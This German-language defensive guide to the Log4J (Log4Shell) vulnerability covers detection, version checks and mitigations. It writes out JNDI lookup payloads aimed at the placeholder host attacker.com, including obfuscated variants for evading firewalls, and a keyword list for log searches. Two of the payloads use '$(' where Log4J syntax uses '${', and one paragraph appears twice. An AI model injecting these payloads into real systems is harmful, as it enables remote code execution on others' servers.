Wie Sie Log4J vorbeugen, erkennen und beheben können

Was ist Log4J? 

Die Apache Log4J-Bibliothek ist eine Logging Bibliothek für Java, die für viele Java-basierte Projekte verwendet wird. Am 9. Dezember hat ein Sicherheitsforscher des Sicherheitsteams von Alibaba Cloud eine gefährliche Schwachstelle für die Remote-Code-Ausführung (RCE) in dieser Bibliothek aufgedeckt. Im Zuge der Veröffentlichung dieser Schwachstelle wurden zahlreiche Angriffe in freier Wildbahn gesichtet. Die gute Nachricht ist, dass die Apache Software Foundation die Schwachstelle bereits behoben hat und ausrollt.

Log4J Sicherheitslücke erklärt

Mit der Veröffentlichung von Log4J 2.0 wurde ein neues Feature eingeführt, das als Lookups bezeichnet wird. Lookups können verwendet werden, um zusätzliche Daten in die Log-Einträge aufzunehmen. Einer dieser Lookups ist der JNDI-Lookup (Java Naming and Directory Interface), eine Java-API zur Kommunikation mit einem Directory Service. 

Er kann verwendet werden, um interne User Identifier in echte Benutzernamen aufzulösen. Dieser Lookup ist der Türöffner für die neu entdeckte RCE-Schwachstelle, da ein Datentyp, der vom LDAP-Server zurückgegeben werden kann, ein URI ist, der auf eine Java-Klasse verweist, die dann in den Speicher geladen und von der Log4J Instanz ausgeführt wird. Aufgrund einer unsachgemäßen Eingabevalidierung in der Log4J Bibliothek ist das Einschleusen eines beliebigen LDAP-Servers aus einer nicht vertrauenswürdigen Quelle möglich. Da die Entwickler in der Regel davon ausgehen, dass die in die Protokolle geschriebenen Daten als normaler Text behandelt werden, wird keine weitere Validierung der Eingaben vorgenommen, und nicht vertrauenswürdige Benutzereingaben finden ihren Weg in die Protokolle. In einem realen Beispiel könnte ein Log-Statement wie folgt aussehen:

log.info(“Calling endpoint {}”, endpointURL)

Ein Angreifer würde nun einen JNDI-Lookup einfügen, der in einem URL-Parameter auf einen schädlichen LDAP-Server verweist. Der JNDI-Lookup würde wie folgendermaßen aussehen: 

$(jndi:ldap://attacker.com:123/examplePath)

Die Log4J Bibliothek kommuniziert dann mit diesem LDAP-Server auf attacker.com und erhält die Directory Informationen, einschließlich der Werte für die javaFactory und die javaCodeBase.  Diese beiden Werte enthalten die Java Klasse des Angreifers, die dann in den Speicher geladen und von der Log4J Instanz ausgeführt wird, wodurch die Durchführung des Codes abgeschlossen wird. Andere Berichte haben gezeigt, dass es mit JNDI sogar möglich ist, DNS Abfragen auszuführen, indem das LDAP durch DNS ersetzt wird ($(jndi:dns://attacker.com/dnsRecord)). Es ist jedoch nicht klar, ob die DNS-Abfragen zum Zeitpunkt der Erstellung dieses Berichts eine Möglichkeit bieten, eine Remote-Code-Execution erfolgreich durchzuführen. 

Wie prüft man auf eine Apache Log4J-Schwachstelle?

Der erste Schritt sollte darin bestehen, zu untersuchen, ob bereits ein Angriff stattgefunden hat. Dies kann durch die Suche in den Systemlogs nach Teilen der RCE Payloads geschehen. Wenn eine Suche nach Schlüsselwörtern wie „jndi“, „ldap“, „${::“ irgendwelche Protokolle ergibt, sollte weiter untersucht werden, ob es sich um einen tatsächlichen Angriff oder nur um ein Fingerprinting durch Sicherheitsforscher handelt. Es wurden viele Angriffe festgestellt, die keine bösartige Nutzlast enthielten. Dennoch wurden sie von Security Researchers durchgeführt, um eine Vorstellung davon zu bekommen, wie viele Anwendungen für diesen Angriff anfällig sind.

Der nächste Schritt besteht darin, alle Projekte zu identifizieren, die die Log4J Bibliothek verwenden. Das Projekt könnte verwundbar sein, wenn Versionen zwischen 2.0-beta9 und 2.14.1 verwendet werden. Da es schwierig ist, herauszufinden, wo diese Schwachstelle auftritt, kann es sicherer sein, davon auszugehen, dass das Projekt anfällig ist, und die Bibliothek zu patchen ist die beste Maßnahme, um das Risiko der Codeausführung zu vermeiden. 

Wenn die verwendete Version unter 2.0-beta9 liegt, ist das Projekt nicht verwundbar, aber die Log4J Bibliothek sollte trotzdem aktualisiert werden, da Versionen im Bereich 1.x veraltet sind und keine Updates mehr erhalten.

Falls ein verwundbares Projekt gefunden wird, ist es empfehlenswert zu überprüfen, ob die mit Log4J protokollierten Angaben Informationen enthalten, die vom Benutzer manipuliert werden können. Zu diesen Informationen gehören URLs, Anfrageparameter, Header oder Cookies. Wenn eine davon protokolliert wird, ist das Projekt verwundbar. Dieses Wissen kann helfen, tiefer in die Systemlogs einzudringen und zu analysieren, ob Ihre Webanwendung bereits angegriffen wurde.

Im Internet stehen kostenlose Tools zur Verfügung, mit denen geprüft werden kann, ob die Webanwendung verwundbar ist. Eines dieser Tools ist das Open Source Programm https://log4shell.huntress.com/, das auf GitHub https://github.com/huntresslabs/log4shell-tester zu finden ist. Wenn ein verwundbarer Teil des Codes in der Webanwendung identifiziert wurde, kann man die vom genannten Tool bereitgestellte Nutzlast verwenden und sie in die Webanwendung injizieren. Wenn die Schwachstelle ausgelöst wurde, zeigt das Testtool die Verbindungen von Ihrer Webanwendung zu ihrem LDAP-Server an.

Wenn ein verwundbarer Teil des Codes in der Webanwendung identifiziert wurde, kann man die vom genannten Tool bereitgestellte Payload verwenden und sie in die Webanwendung integrieren. Wenn die Schwachstelle ausgelöst wurde, zeigt das Testtool die Verbindungen von Ihrer Webanwendung zu ihrem LDAP-Server an.

Best Practices zur Behebung von Log4J CVE-2021-44228

Da die Apache Software Foundation die Sicherheitslücke bereits gepatcht hat, ist es die beste Lösung, Log4J auf die neueste und gepatchte Version 2.16.0 zu aktualisieren. Dadurch wird das Risiko der Codeausführung beseitigt. Alle 2.x-Versionen unter 2.16.0 sind anfällig. 

Wenn es jedoch nicht möglich ist, auf die neueste Version zu aktualisieren, gibt es einige Möglichkeiten, die Lookups in Log4J zu deaktivieren, um das Risiko der Codeausführung zu minimieren. 

Eine Möglichkeit ist zu prüfen, ob die verwendete Log4J Bibliothek die Ausführung der JVM mit der Option JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true unterstützt. Dadurch wird die Lookup-Funktionalität für Remote-Server deaktiviert. Dieser Fix sollte für Versionen ab 2.10.0 möglich sein. 

Eine weitere Option für die Versionen 2.10.0 und höher besteht darin, entweder die Systemeigenschaft log4j2.formatMsgNoLookups oder die Umgebungsvariable LOG4J_FORMAT_MSG_NO_LOOKUPS auf true zu setzen. 

Ältere Versionen von 2.0-beta9 bis 2.10.0 können durch Entfernen der Klasse JndiLookup aus dem Classpass entschärft werden. Der Befehl dazu lautet: 

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Weitere Informationen finden Sie im offiziellen Advisory von Apache unter https://logging.apache.org/log4j/2.x/security.html. 

Einige Anbieter von Web Application Firewalls (WAF) haben bereits angekündigt, dass sie vor dieser Sicherheitslücke schützen. Wir empfehlen, sich nicht ausschließlich auf Ihre WAF zu verlassen, da es so viele Möglichkeiten gibt, den Payload neu zu formatieren, dass WAFs möglicherweise nicht alle davon abfangen. Einige Beispiele sind die folgenden Varianten dieses Payloads: 

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attacker.com:123/examplePath}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com:123/examplePath}

Wenn Sie sich entscheiden, die Log4J Bibliothek nicht zu aktualisieren, sondern das Risiko mit einer der anderen Optionen zu mindern, müssen Sie unbedingt die Wirksamkeit der Gegenmaßnahmen testen. Dies kann mit dem oben beschriebenen Open-Source-Testtool erfolgen.